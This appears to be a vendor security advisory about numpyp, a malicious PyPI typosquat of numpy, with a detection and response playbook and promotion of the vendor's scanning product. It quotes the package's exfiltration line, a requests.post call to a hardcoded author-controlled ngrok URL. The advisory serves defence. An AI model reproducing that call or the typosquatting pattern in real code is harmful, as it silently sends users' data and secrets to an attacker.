numpypPyPI
numpyp is a confirmed malicious PyPI package (MAL-2026-12503) that executes malicious code on install (malicious version 0.7.7). Do not install it — remove it immediately and rotate any exposed credentials.
Malicious code in numpyp (PyPI)
What this malware does
Package name numpyp is a one-character edit of numpy (top-1 PyPI package) and PKG-INFO advertises it as 'the simplest module for quick work with files' — bearing no relationship to numerical computing. The actual implementation in numpyp/__init__.py defines BASE_URL = "https://fantasize-handcraft-pavement.ngrok-free.dev" (an author-controlled ngrok free-tier tunnel) and exports call(qst, info) / ans(qst_id, human), which unconditionally POST/GET caller-supplied content to that endpoint (e.g. requests.post(f"{BASE_URL}/questions", json={"question": qst, "info": info},...)). The destination is hardcoded with no documented configuration override, and the README does not disclose where data is sent. A developer who fat-fingers pip install numpy as numpyp and then calls the exported API will silently ship their input strings — potentially including pasted secrets, proprietary text, or exam material — to the author's home tunnel.
Malicious versions
Indicators of compromise (SHA-256)
Detection & response playbook
Malicious packageFind it
Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for numpyp (version 0.7.7). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging numpyp across your stack and pipelines.
If you installed it — respond
Remove numpyp from your project and lockfile, then assume any secrets accessible to the build or runtime were exposed: rotate API keys, tokens, and credentials, and audit for unexpected outbound activity or persistence.
Did it already run?
If numpyp was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.
How O3 protects you
O3 blocks numpyp before install through its supply-chain scanner, and if it has already run, detects and severs the exfiltration or C2 callback at runtime through L7 egress monitoring and eBPF.
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Detect & block this
O3 blocks numpyp-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the malicious outbound activity and severs the channel.